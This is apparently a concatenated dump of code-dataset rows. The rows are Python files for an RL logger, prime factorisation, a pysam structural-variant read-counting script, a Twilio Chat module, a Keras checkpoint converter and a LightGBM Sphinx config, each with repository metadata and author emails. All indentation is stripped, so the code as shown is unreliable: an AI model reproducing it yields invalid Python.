logger.record_tabular("EpisodesSoFar", episodes_so_far)
logger.record_tabular("TimestepsSoFar", timesteps_so_far)
logger.record_tabular("TimeElapsed", time.time() - tstart)
if MPI.COMM_WORLD.Get_rank()==0:
logger.dump_tabular()
def flatten_lists(listoflists):
return [el for list_ in listoflists for el in list_]
| [
"drl@wjy.com"
] | drl@wjy.com |
c71e76456021d181e3109d58483b2b6cb52826cc | 811e4542f6728e2f3de98fc227f9f4a111d4eb1e | /templates/topics/math/factorization.py | 4c5332d9ce120a59f4ac95ff1464c5f004608320 | [] | no_license | Alfred-Walker/ppst | ab2902f04a73048f73b50d3c79d9e80cd257a985 | 8685d0ca7e89be34372a7d2673e21abb77bb3778 | refs/heads/master | 2021-01-04T05:07:08.813035 | 2020-02-19T02:35:07 | 2020-02-19T02:35:07 | 240,400,000 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 816 | py | """factorization examples"""
class PrimeFactorization:
@staticmethod
def factorization(number):
ret = []
for i in range(2, int(number ** 0.5) + 1):
while number % i == 0:
ret.append(i)
number //= i
if number > 1:
ret.append(number)
return ret
prime_factors = PrimeFactorization.factorization(32)
print(prime_factors)
# >>> [2, 2, 2, 2, 2]
prime_factors = PrimeFactorization.factorization(15)
print(prime_factors)
# >>> [3, 5]
class Practice:
@staticmethod
def factorization(num):
ret = []
for i in range(2, int(num ** 0.5) + 1):
while num % i == 0:
ret.append(i)
num //= i
if num >= 2:
ret.append(num)
return ret
| [
"studio.alfred.walker@gmail.com"
] | studio.alfred.walker@gmail.com |
52460ba2ae00e285614d14e7ba0f7598278c93fb | 406bf29e4cfc59bc2cc6005813e4a63065c642bb | /jhyouk_universal_filter/13_SV/Delly_annotation_scripts/06.07.count_frag_find_newBP.py | c222cee64e94a9ee3a7e529a296aa1a6b0011040 | [] | no_license | leehs96/Emergency_backup | 630c5efbe17f3175851ee80ef6dde72f5f613fe7 | 9bc30b7a5eda03ac207b16f83d93559a5637ac19 | refs/heads/main | 2023-02-10T11:43:40.172101 | 2021-01-05T06:10:33 | 2021-01-05T06:10:33 | 326,903,545 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,062 | py | #Arg1: sv file
#Arg2: tumor bam
#Arg3: normal bam
#190226 line427 change '=' inserted
import sys,pysam, collections, itertools
print('### SVvaf new BP')
print(sys.argv[1])
sv_file=open(sys.argv[1]) #CHR1 POS1 CHR2 POS2 MH Terminal SVtype
t_file=pysam.AlignmentFile(sys.argv[2],'rb') #Cancer bam
n_file=pysam.AlignmentFile(sys.argv[3],'rb') #Normal bam
out_file=open(sys.argv[1]+'.SVvaf','w')
fors=700; bacs=5 # search range for pairread counting # You can adjust these values.
iscut=700 # insert size cut for call reference pair # You can adjust this value.
shortDco=500
sc_co=5 # number of bases which is used to differentiate discordant soft-clipping
sv_line=sv_file.readline().strip()
#Assign the column number starting from 1
c_chr1=15
c_pos1=16
c_chr2=17
c_pos2=18
c_ter=20 # e.g. 3to5, 5to3, 3to3, etc.
c_type=21 # e.g. DEL, TRA, DUP, INV
c_chr1 -=1;c_pos1-=1;c_chr2-=1;c_pos2-=1;c_ter-=1;c_type-=1
def make_cigartuple(cigarstring):
cg_num=len(cigarstring)
lt=''
cigar_tuple_list=[]
for n in range(0,cg_num):
try: lt = lt+str(int(cigarstring[n]))
except:
if cigarstring[n]=='M': cigar_tuple_list.append((0,int(lt)))
elif cigarstring[n]=='I': cigar_tuple_list.append((1,int(lt)))
elif cigarstring[n]=='D': cigar_tuple_list.append((2,int(lt)))
elif cigarstring[n]=='N': cigar_tuple_list.append((3,int(lt)))
elif cigarstring[n]=='S': cigar_tuple_list.append((4,int(lt)))
elif cigarstring[n]=='H': cigar_tuple_list.append((5,int(lt)))
elif cigarstring[n]=='P': cigar_tuple_list.append((6,int(lt)))
elif cigarstring[n]=='=': cigar_tuple_list.append((7,int(lt)))
elif cigarstring[n]=='X': cigar_tuple_list.append((8,int(lt)))
elif cigarstring[n]=='B': cigar_tuple_list.append((9,int(lt)))
lt=''
return cigar_tuple_list
def estimate_mappedlength(cigarstring): # this function is same with read.reference_length made for MC tag or SA tag
cg_num=len(cigarstring)
lt=''
current_m=0;current_d=0
for n in range(0,cg_num):
try: lt = lt+str(int(cigarstring[n]))
except:
if cigarstring[n]=='M': current_m = current_m + int(lt)
elif cigarstring[n]=='D' and current_m > 0:
current_d = current_d +int(lt)
else:'blank'
lt=''
return current_m+current_d
def find_M_range(cigar):
m_start=0;m_end=0 # m_start: just before the start, m_end= the exact end
cigar_list=make_cigartuple(cigar)
m_count=0
for (t, n) in cigar_list:
if t == 0:
m_count +=1
if m_count ==1:
for (t,n) in cigar_list:
if t!=0 and t!=1:
m_start+=n
elif t==0:
m_end=m_start+n
break
elif m_count > 1:
find_m=0;m_length=0
for (t,n) in cigar_list:
if find_m==0 and t!=0 and t!=1:
m_start+=n
elif find_m >0 and t!=0 and t!=1:
m_length+=n
elif t==0:
find_m+=1
if find_m < m_count:
m_length+=n
elif find_m == m_count:
m_end=m_start+m_length
break
return([m_start, m_end])
def change_chr_to_int(chr1):
if chr1[0:2]=='GL':
chr_n=25
elif chr1[0:3]=='NC_':
chr_n=26
elif chr1=='hs37d5':
chr_n = 27
elif chr1[0:2]=='JH':
chr_n=28
else:
chr_n=int(((chr1.replace('X','23')).replace('Y','24')).replace('MT','25'))
return(chr_n)
def find_interCigar_BP(info1, info2, read_size): # info eg.: 1,162768391,-,43S46M62S
SA_chr1=info1.split(',')[0]
SA_chr1n=change_chr_to_int(SA_chr1)
SA_pos1=int(info1.split(',')[1])
SA_strand1=info1.split(',')[2]
SA_cigar1=info1.split(',')[3]
SA_chr2=info2.split(',')[0]
SA_chr2n=change_chr_to_int(SA_chr2)
SA_pos2=int(info2.split(',')[1])
SA_strand2=info2.split(',')[2]
SA_cigar2=info2.split(',')[3]
M_range1=find_M_range(SA_cigar1)
M_range2=find_M_range(SA_cigar2)
len1=M_range1[1]-M_range1[0]
len2=M_range2[1]-M_range2[0]
if SA_strand1 == SA_strand2: #same_direction
if M_range1[0] <= M_range2[0] and M_range1[1] >= M_range2[1]:
return('overlap')
elif M_range2[0] <= M_range1[0] and M_range2[1] >= M_range1[1]:
return('overlap')
if M_range1[1] > M_range2[1]:
MHLEN=M_range2[1]-M_range1[0]
bp1=SA_pos1
bp2=SA_pos2+len2-1
terminal1="5";terminal2="3"
if SA_chr1!=SA_chr2:
rearr="TRA"
else:
if bp1<=bp2: rearr="DUP"
elif bp1>bp2: rearr="DEL"
elif M_range2[1] > M_range1[1]:
MHLEN=M_range1[1]-M_range2[0]
bp1=SA_pos1+len1-1
bp2=SA_pos2
terminal1="3"; terminal2="5"
if SA_chr1!=SA_chr2:
rearr="TRA"
else:
if bp1<bp2: rearr="DEL"
elif bp1>=bp2: rearr="DUP"
else:
'blank'
else: # opposite direction
rvs_M_range1=[read_size-M_range1[1], read_size-M_range1[0]]
if rvs_M_range1[0] <= M_range2[0] and rvs_M_range1[1] >= M_range2[1]:
return('overlap')
elif M_range2[0] <= rvs_M_range1[0] and M_range2[1] >= rvs_M_range1[1]:
return('overlap')
if rvs_M_range1[1] > M_range2[1]:
MHLEN=M_range2[1]-rvs_M_range1[0]
bp1=SA_pos1+len1-1
bp2=SA_pos2+len2-1
terminal1="3";terminal2="3"
if SA_chr1!=SA_chr2:
rearr="TRA"
else:
rearr="INV"
elif M_range2[1] > rvs_M_range1[1]:
MHLEN=rvs_M_range1[1]-M_range2[0]
bp1=SA_pos1
bp2=SA_pos2
terminal1="5";terminal2="5"
if SA_chr1!=SA_chr2:
rearr="TRA"
else:
rearr="INV"
else:
'blank'
info=SA_chr1+':'+str(bp1)+';'+SA_chr2+':'+str(bp2)+';'+str(MHLEN)+';'+rearr+';'+terminal1+'to'+terminal2+';'+str(len1)+';'+str(len2)
rvs_info=SA_chr2+':'+str(bp2)+';'+SA_chr1+':'+str(bp1)+';'+str(MHLEN)+';'+rearr+';'+terminal2+'to'+terminal1+';'+str(len2)+';'+str(len1)
if SA_chr1n < SA_chr2n:
return(info)
elif SA_chr1n > SA_chr2n:
return(rvs_info)
elif SA_chr1n == SA_chr2n:
if bp1 <= bp2:
return(info)
elif bp1 > bp2:
return(rvs_info)
def find_mate_from_SA(read):
newBP_list=[];neoBP_list=[]
reverse_list=['1','3','5','7','9','b','d','f']
cigar_info=read.cigarstring
read_size=read.infer_read_length()
SA_list=str(read.get_tag('SA')).split(';')[:-1]
if hex(int(read.flag))[-2] in reverse_list:
read_strand='-'
else:
read_strand='+'
read_info=read.reference_name+','+str(read.reference_start+1)+','+read_strand+','+cigar_info
for SA_indi in SA_list:
res=find_interCigar_BP(read_info, SA_indi, read_size)
if res != 'overlap':
newBP_list.append(res)
if len(SA_list)>1:
info_combi=list(itertools.combinations(SA_list,2))
for (info1,info2) in info_combi:
res=find_interCigar_BP(info1,info2,read_size)
if res != 'overlap':
neoBP_list.append(res)
return(newBP_list, neoBP_list)
def mate_list_summary(mate_list):
summary_dic={}
for mate in mate_list:
mate_indi=mate.split(';')
m1=int(mate_indi[5])
m2=int(mate_indi[6])
info=';'.join(mate_indi[0:5])
if info not in summary_dic.keys():
summary_dic[info]={}
summary_dic[info]['num']=0
summary_dic[info]['match1']=[]
summary_dic[info]['match2']=[]
summary_dic[info]['num']+=1
summary_dic[info]['match1'].append(m1)
summary_dic[info]['match2'].append(m2)
final_list=[]
for info in summary_dic.keys():
m1max=max(summary_dic[info]['match1'])
m2max=max(summary_dic[info]['match2'])
freq=summary_dic[info]['num']
final_list.append(info+';'+str(m1max)+';'+str(m2max)+'('+str(freq)+')')
return (','.join(final_list))
def find_discordant_reads(chr1, pos1, ter1, chr2, pos2, ter2, pysam_file,sa_seq_list):
pos1=int(pos1); pos2=int(pos2); ter1=int(ter1); ter2=int(ter2)
new_mate_list=[];neo_mate_list=[]
if ter1==3: pos1_start=pos1-fors; pos1_end=pos1+bacs
elif ter1==5: pos1_start=pos1-bacs; pos1_end=pos1+fors
if ter2==3: pos2_start=pos2-fors; pos2_end=pos2+bacs
elif ter2==5: pos2_start=pos2-bacs; pos2_end=pos2+fors
pos1_start=max(pos1_start, 1); pos2_start=max(pos2_start, 1)
if chr1 == chr2 and ter1==5 and ter2 == 3 and pos1 < pos2: # exceptional short duplication
pos1_end=min(pos1_end, pos1+(pos2-pos1)/2)
pos2_start=max(pos2_start, pos2-(pos2-pos1)/2)
elif chr1 == chr2 and ter1==3 and ter2 ==5 and pos2 < pos1:
pos2_end=min(pos2_end, pos2+(pos1-pos2)/2)
pos1_start=max(pos1_start, pos1-(pos1-pos2)/2)
pair_true_list=[];sp_true_list=[];sa_true_list=[]
pair_ref_list=[]; jx_ref_list=[]
for read in pysam_file.fetch(chr1, pos1_start-1, pos1_end):
if read.is_unmapped == True or read.is_paired == False or read.mate_is_unmapped == True or read.is_secondary == True or read.is_supplementary == True or read.is_duplicate == True: continue
if read.has_tag('SA')== True and ((ter1==3 and (read.cigartuples[-1][0]==4 or read.cigartuples[-1][0]==5)) or (ter1==5 and (read.cigartuples[0][0] ==4 or read.cigartuples[0][0] ==5))):
SA_list=str(read.get_tag('SA')).split(';')[:-1]
if read.is_reverse == True: PA_strand='+'
elif read.is_reverse == False: PA_strand='-'
SA_BP_candi=[]
for SA_indi in SA_list:
SA_chr=SA_indi.split(',')[0]
SA_pos=int(SA_indi.split(',')[1])
SA_strand=SA_indi.split(',')[2]
SA_cigar=SA_indi.split(',')[3]
SA_cigartuples=make_cigartuple(SA_cigar)
SA_MQ=SA_indi.split(',')[4]
current_m=0; current_d=0
for cigar in SA_cigartuples:
if cigar[0]==0:
current_m=current_m+cigar[1]
elif cigar[0]==2 and current_m > 0:
current_d=current_d+cigar[1]
elif (cigar[0]==4 or cigar[0]==5) and current_m > 0:
break
if ((SA_cigartuples[0][0]==4 or SA_cigartuples[0][0]==5) and SA_chr == chr2 and abs(SA_pos-pos2) <=1) or ((SA_cigartuples[-1][0]==4 or SA_cigartuples[-1][0]==5) and SA_chr == chr2 and abs(SA_pos + current_m + current_d-1-pos2) <=1):
sa_true_list.append(read.query_name)
sp_true_list.append(read.query_name)
if ter1==3 and read.cigartuples[-1][0]==4:
sc_seq=read.query_sequence[read.cigartuples[-1][1]*(-1): read.cigartuples[-1][1]*(-1)+sc_co]
sa_seq_list.append(sc_seq)
sa_res=find_mate_from_SA(read)
new_mate_list=new_mate_list+sa_res[0]
neo_mate_list=neo_mate_list+sa_res[1]
elif ter1==5 and read.cigartuples[0][0]==4:
sc_seq=read.query_sequence[read.cigartuples[0][1]-1-sc_co+1:read.cigartuples[0][1]-1+1]
sa_seq_list.append(sc_seq)
sa_res=find_mate_from_SA(read)
new_mate_list=new_mate_list+sa_res[0]
neo_mate_list=neo_mate_list+sa_res[1]
sa_seq_list=list(set(sa_seq_list))
for read in pysam_file.fetch(chr1, pos1_start-1, pos1_end):
if read.is_unmapped == True or read.is_paired == False or read.mate_is_unmapped == True or read.is_secondary == True or read.is_supplementary == True or read.is_duplicate == True: continue
pair_ref_mode='off';jx_ref_mode='off'
if ter1==3:
if read.is_reverse == False and read.mate_is_reverse == True and read.next_reference_name == chr1 and read.reference_start +1 < pos1 and read.reference_start +1 +read.template_length -1 > pos1 and read.template_length >= 0 and read.template_length < iscut:
pair_ref_list.append(read.query_name)
pair_ref_mode='on'
if read.reference_start + 1 <= pos1 and read.reference_start + 1 + read.reference_length - 1 > pos1 and read.next_reference_name == chr1:
jx_ref_list.append(read.query_name)
jx_ref_mode='on'
if pair_ref_mode == 'off' and read.is_reverse == False and read.next_reference_name == chr2 and read.next_reference_start +1 >= pos2_start and read.next_reference_start +1 < pos2_end:
if (ter2==3 and read.mate_is_reverse == False) or (ter2==5 and read.mate_is_reverse == True):
pair_true_list.append(read.query_name)
if read.has_tag('SA') == True and read.query_name not in sa_true_list and read.query_name not in pair_ref_list:
sa_res=find_mate_from_SA(read)
new_mate_list=new_mate_list+sa_res[0]
neo_mate_list=neo_mate_list+sa_res[1]
if len(sa_seq_list) > 0:
if pos1 - (read.reference_start +1) +1 == read.reference_length:
if read.cigartuples[-1][0]==4 and read.cigartuples[-1][1] >= sc_co:
sc_seq=read.query_sequence[read.cigartuples[-1][1]*(-1): read.cigartuples[-1][1]*(-1)+sc_co]
if sc_seq in sa_seq_list:
sp_true_list.append(read.query_name)
elif ter1==5:
if read.is_reverse == True and read.mate_is_reverse == False and read.next_reference_name==chr1 and read.reference_start +1 + read.reference_length -1 >= pos1 and read.reference_start + 1 + read.reference_length -1 +read.template_length + 1 < pos1 and read.template_length < 0 and read.template_length*(-1) < iscut: # in this situation read.template_length is negative value
pair_ref_list.append(read.query_name)
pair_ref_mode='on'
if read.reference_start + 1 < pos1 and read.reference_start + 1 + read.reference_length - 1 >= pos1:
jx_ref_list.append(read.query_name)
jx_ref_mode='on'
if pair_ref_mode=='off' and read.is_reverse == True and read.next_reference_name == chr2 and read.next_reference_start +1 >= pos2_start and read.next_reference_start +1 < pos2_end:
if (ter2==3 and read.mate_is_reverse == False) or (ter2==5 and read.mate_is_reverse == True):
pair_true_list.append(read.query_name)
if read.has_tag('SA') == True and read.query_name not in sa_true_list and read.query_name not in pair_ref_list:
sa_res=find_mate_from_SA(read)
new_mate_list=new_mate_list+sa_res[0]
neo_mate_list=neo_mate_list+sa_res[1]
if len(sa_seq_list) > 0:
if read.reference_start + 1 == pos1:
if read.cigartuples[0][0] == 4 and read.cigartuples[0][1] >= sc_co:
sc_seq=read.query_sequence[read.cigartuples[0][1]-1-sc_co+1:read.cigartuples[0][1]-1+1]
if sc_seq in sa_seq_list:
sp_true_list.append(read.query_name)
sa_true_list=list(set(sa_true_list))
pair_ref_list=list(set(pair_ref_list))
jx_ref_list=list(set(jx_ref_list) & set(pair_ref_list))
all_ref_list=list(set(pair_ref_list+jx_ref_list)-set(sa_true_list))
pair_true_list=list(set(pair_true_list)-set(all_ref_list))
sp_true_list=list(set(sp_true_list))
all_true_list=list(set(pair_true_list+sp_true_list+sa_true_list))
if len(new_mate_list)==0:
new_mate='NA'
else:
new_mate=mate_list_summary(new_mate_list)
if len(neo_mate_list)==0:
neo_mate='NA'
else:
neo_mate=mate_list_summary(neo_mate_list)
return([pair_true_list, sp_true_list, sa_true_list, pair_ref_list, jx_ref_list, all_ref_list, sa_seq_list, new_mate,neo_mate])
def calc_final_count(chr1, pos1, ter1, chr2, pos2, ter2, t_bam, n_bam):
pos1=int(pos1); pos2=int(pos2); ter1=int(ter1); ter2=int(ter2)
a1=0; as1=0; asa1=0;r1=0;rj1=0; r2=0; rj2=0; na1=0; nsa1=0
normal_split1='off';normal_split2='off'
sa_seq_list=[]
t1_list=find_discordant_reads(chr1,pos1,ter1,chr2,pos2,ter2,t_bam,sa_seq_list)
sa_seq_list=t1_list[6]
new_mate1=t1_list[7]
neo_mate1=t1_list[8]
n1_list=find_discordant_reads(chr1,pos1,ter1,chr2,pos2,ter2,n_bam,sa_seq_list)
sa_seq_list=[]
t2_list=find_discordant_reads(chr2,pos2,ter2,chr1,pos1,ter1,t_bam,sa_seq_list)
sa_seq_list=t2_list[6]
new_mate2=t2_list[7]
neo_mate2=t2_list[8]
n2_list=find_discordant_reads(chr2,pos2,ter2,chr1,pos1,ter1,n_bam,sa_seq_list)
n1_pair_list=n1_list[0]
n1_sp_list=n1_list[1]
n1_sa_list=n1_list[2]
n2_pair_list=n2_list[0]
n2_sp_list=n2_list[1]
n2_sa_list=n2_list[2]
t1_pair_list=t1_list[0]
t1_sp_list=t1_list[1]
t1_sa_list=t1_list[2]
t1_rj_list=t1_list[4]
t1_rt_list=t1_list[5]
t2_pair_list=t2_list[0]
t2_sp_list=t2_list[1]
t2_sa_list=t2_list[2]
t2_rj_list=t2_list[4]
t2_rt_list=t2_list[5]
t1_total_list=list(set(t1_pair_list+t1_sp_list+t1_sa_list))
t1_sp_list=list(set(t1_sp_list+t1_sa_list))
t2_total_list=list(set(t2_pair_list+t2_sp_list+t2_sa_list))
t2_sp_list=list(set(t2_sp_list+t2_sa_list))
t_tot_n=len(list(set(t1_total_list+t2_total_list)))
t_split_n=len(list(set(t1_sp_list+t2_sp_list)))
t_sa_n=len(list(set(t1_sa_list+t2_sa_list)))
t1_reftot_n=len(t1_rt_list)
t1_refjx_n=len(t1_rj_list)
t2_reftot_n=len(t2_rt_list)
t2_refjx_n=len(t2_rj_list)
n_tot_n=len(list(set(n1_pair_list+n1_sa_list+n2_pair_list+n2_sa_list)))
n_sa_n=len(list(set(n1_sa_list+n2_sa_list)))
return([t_tot_n, t_split_n,t_sa_n, t1_reftot_n, t1_refjx_n, t2_reftot_n, t2_refjx_n, n_tot_n, n_sa_n, new_mate1, neo_mate1, new_mate2, neo_mate2])
def count_frag_num(chr1, pos1, pysam_file):
pos1=int(pos1);total_frag_list=[]
for read in pysam_file.fetch(chr1, pos1-1, pos1):
if read.is_unmapped == True or read.is_paired == False or read.mate_is_unmapped == True or read.is_secondary == True or read.is_supplementary == True or read.is_duplicate == True: continue
total_frag_list.append(read.query_name)
total_frag_list=list(set(total_frag_list))
return len(total_frag_list)
while sv_line:
if sv_line[0:4]=='#CHR':
out_file.write(sv_line+'\tTumor_Ref1;Ref2;AllDiscordantFragments;SplitFragments;SATagFragments;Vaf1;Vaf2\tPairNormal_AllFragments;SAFragments;FragCount1;FragCount2\tnew_mate1\tneo_mate1\tnew_mate2\tneo_mate2\n')
elif sv_line[0]=='#':
out_file.write(sv_line+'\n')
else:
shortDstatus='off'
sv_indi=sv_line.split('\t')
chr1=sv_indi[c_chr1]; pos1=sv_indi[c_pos1]; chr2=sv_indi[c_chr2]; pos2=sv_indi[c_pos2]
svtype=sv_indi[c_type]
if pos2 == '.' or svtype == 'INS':
print_list=[sv_line, '.','.','.','.','.','.']
else:
ter1=sv_indi[c_ter].split('to')[0]; ter2=sv_indi[c_ter].split('to')[1]
res = calc_final_count(chr1, pos1, ter1, chr2, pos2, ter2, t_file, n_file)
adf=res[0];sf=res[1];saf=res[2];ref1=res[3];rj1=res[4];ref2=res[5];rj2=res[6];na1=res[7];nsa1=res[8]
new_mate1=res[9]; neo_mate1=res[10]; new_mate2=res[11]; neo_mate2=res[12]
pnfc1=count_frag_num(chr1, pos1, n_file)
pnfc2=count_frag_num(chr2, pos2, n_file)
if chr1 == chr2 and ter1 == '3' and ter2 == '5' and abs(int(pos2)-int(pos1)) < shortDco:
adf=sf
ref1=rj1
ref2=rj2
elif adf == sf:
ref1=rj1
ref2=rj2
if adf+ref1 == 0:
vaf1 = 'NA'
else:
vaf1=str(round((adf)*100/float(adf+ref1),2))+'%'
if adf+ref2 == 0:
vaf2 = 'NA'
else:
vaf2=str(round((adf)*100/float(adf+ref2),2))+'%'
# asr1 and asr2 were not counted in 'else' d/t redundancy with r1, r2
t_info_list=[str(ref1),str(ref2),str(adf),str(sf),str(saf),vaf1,vaf2]
n_info_list=[str(na1),str(nsa1),str(pnfc1), str(pnfc2)]
print_list=[sv_line, ';'.join(t_info_list), ';'.join(n_info_list), new_mate1, neo_mate1, new_mate2, neo_mate2]
out_file.write('\t'.join(print_list)+'\n')
sv_line=sv_file.readline().strip()
| [
"hs960201@gmail.com"
] | hs960201@gmail.com |
17cc97ea656c6d3d58dba14ba7110219c4c455a7 | 9e27f91194541eb36da07420efa53c5c417e8999 | /twilio/rest/chat/v1/__init__.py | 7698c973fa1814942bb972c9ac2a08709c89c066 | [] | no_license | iosmichael/flask-admin-dashboard | 0eeab96add99430828306b691e012ac9beb957ea | 396d687fd9144d3b0ac04d8047ecf726f7c18fbd | refs/heads/master | 2020-03-24T05:55:42.200377 | 2018-09-17T20:33:42 | 2018-09-17T20:33:42 | 142,508,888 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,299 | py | # coding=utf-8
"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from admin.twilio.base.version import Version
from admin.twilio.rest.chat.v1.credential import CredentialList
from admin.twilio.rest.chat.v1.service import ServiceList
class V1(Version):
def __init__(self, domain):
"""
Initialize the V1 version of Chat
:returns: V1 version of Chat
:rtype: twilio.rest.chat.v1.V1.V1
"""
super(V1, self).__init__(domain)
self.version = 'v1'
self._credentials = None
self._services = None
@property
def credentials(self):
"""
:rtype: twilio.rest.chat.v1.credential.CredentialList
"""
if self._credentials is None:
self._credentials = CredentialList(self)
return self._credentials
@property
def services(self):
"""
:rtype: twilio.rest.chat.v1.service.ServiceList
"""
if self._services is None:
self._services = ServiceList(self)
return self._services
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
return '<Twilio.Chat.V1>'
| [
"michaelliu@iresearch.com.cn"
] | michaelliu@iresearch.com.cn |
68a6a2550cc81753aa234a09cb81ae0d79c49c3b | 2b15168bc67ee935446f51c46045f73346369c5a | /extract_ckpt_to_h5_weight.py | faeda2d12d610e45a0d94bce680cbd2a9bfed7bc | [] | no_license | jason9075/tf2_arcface | 6c37500c9c14170ea6731f6a0d79a19f088c32d3 | 6fabcdf9c3c9a12603456476fc8052de2830684d | refs/heads/master | 2023-04-30T11:42:52.845549 | 2021-04-01T06:59:39 | 2021-04-01T06:59:39 | 311,858,885 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 501 | py | import tensorflow as tf
from convert_tensorflow import create_training_model
num_of_class = 20000
IMAGE_SIZE = (112, 112)
CKPT = 'checkpoints/2021-03-29-10-26-19_e_1400'
MODEL_TYPE = 'mobilenetv3'
def main():
model = create_training_model(IMAGE_SIZE, num_of_class, mode='train', model_type=MODEL_TYPE)
model.load_weights(CKPT)
filename = CKPT.split('/')[-1]
model.save(f'saved_model/{filename}.h5', include_optimizer=True, save_format='h5')
if __name__ == '__main__':
main()
| [
"jason9075@gmail.com"
] | jason9075@gmail.com |
d0df7bd7de21e649e7b4d18ce66c317f65bf0a22 | 9e9e0b52248d8c4a9026d266ebeb02529bbc8e9f | /lightGBM/docs/conf.py | 637447ed627ca9d6df815867ffeda3b97017e4f6 | [
"MIT",
"Apache-2.0",
"Python-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | arXiv-research/Quatm | 79b870a754eb8173675da7316b10c6dac76de92f | 541fc48b88f4236767059f3265c7d34b9eacb85f | refs/heads/main | 2023-07-16T13:37:54.326816 | 2021-09-03T11:17:22 | 2021-09-03T11:17:22 | 338,906,115 | 2 | 1 | MIT | 2021-09-03T11:17:23 | 2021-02-14T21:30:28 | C++ | UTF-8 | Python | false | false | 11,826 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# LightGBM documentation build configuration file, created by
# sphinx-quickstart on Thu May 4 14:30:58 2017.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute.
"""Sphinx configuration file."""
import datetime
import os
import sys
from distutils.dir_util import copy_tree
from re import compile
from subprocess import PIPE, Popen
from unittest.mock import Mock
import sphinx
from docutils.nodes import reference
from docutils.parsers.rst import Directive
from docutils.transforms import Transform
from sphinx.errors import VersionRequirementError
CURR_PATH = os.path.abspath(os.path.dirname(__file__))
LIB_PATH = os.path.join(CURR_PATH, os.path.pardir, 'python-package')
sys.path.insert(0, LIB_PATH)
INTERNAL_REF_REGEX = compile(r"(?P<url>\.\/.+)(?P<extension>\.rst)(?P<anchor>$|#)")
# -- mock out modules
MOCK_MODULES = ['numpy', 'scipy', 'scipy.sparse',
'sklearn', 'matplotlib', 'pandas', 'graphviz', 'dask', 'dask.distributed']
for mod_name in MOCK_MODULES:
sys.modules[mod_name] = Mock()
class InternalRefTransform(Transform):
"""Replaces '.rst' with '.html' in all internal links like './[Something].rst[#anchor]'."""
default_priority = 210
"""Numerical priority of this transform, 0 through 999."""
def apply(self, **kwargs):
"""Apply the transform to the document tree."""
for section in self.document.traverse(reference):
if section.get("refuri") is not None:
section["refuri"] = INTERNAL_REF_REGEX.sub(r"\g<url>.html\g<anchor>", section["refuri"])
class IgnoredDirective(Directive):
"""Stub for unknown directives."""
has_content = True
def run(self):
"""Do nothing."""
return []
# -- General configuration ------------------------------------------------
os.environ['LIGHTGBM_BUILD_DOC'] = '1'
C_API = os.environ.get('C_API', '').lower().strip() != 'no'
RTD = bool(os.environ.get('READTHEDOCS', ''))
# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '2.1.0' # Due to sphinx.ext.napoleon, autodoc_typehints
if needs_sphinx > sphinx.__version__:
message = f'This project needs at least Sphinx v{needs_sphinx}'
raise VersionRequirementError(message)
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.autosummary',
'sphinx.ext.todo',
'sphinx.ext.viewcode',
'sphinx.ext.napoleon',
]
autodoc_default_flags = ['members', 'inherited-members', 'show-inheritance']
autodoc_default_options = {
"members": True,
"inherited-members": True,
"show-inheritance": True,
}
# hide type hints in API docs
autodoc_typehints = "none"
# Generate autosummary pages. Output should be set with: `:toctree: pythonapi/`
autosummary_generate = ['Python-API.rst']
# Only the class' docstring is inserted.
autoclass_content = 'class'
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = 'LightGBM'
copyright = f'{datetime.datetime.now().year}, Microsoft Corporation'
author = 'Microsoft Corporation'
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
html_logo = os.path.join(CURR_PATH, 'logo', 'LightGBM_logo_grey_text.svg')
# The name of an image file (relative to this directory) to use as a favicon of
# the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
html_favicon = os.path.join(CURR_PATH, '_static', 'images', 'favicon.ico')
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
with open(os.path.join(CURR_PATH, os.path.pardir, 'VERSION.txt'), 'r') as f:
# The short X.Y version.
version = f.read().strip()
# The full version, including alpha/beta/rc tags.
release = version
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'default'
# -- Configuration for C API docs generation ------------------------------
if C_API:
extensions.extend([
'breathe',
])
breathe_projects = {
"LightGBM": os.path.join(CURR_PATH, 'doxyoutput', 'xml')
}
breathe_default_project = "LightGBM"
breathe_domain_by_extension = {
"h": "c",
}
breathe_show_define_initializer = True
c_id_attributes = ['LIGHTGBM_C_EXPORT']
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'sphinx_rtd_theme'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
html_theme_options = {
'includehidden': False,
'logo_only': True,
}
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# -- Options for HTMLHelp output ------------------------------------------
# Output file base name for HTML help builder.
htmlhelp_basename = 'LightGBMdoc'
# -- Options for LaTeX output ---------------------------------------------
# The name of an image file (relative to this directory) to place at the top of
# the title page.
latex_logo = os.path.join(CURR_PATH, 'logo', 'LightGBM_logo_black_text_small.png')
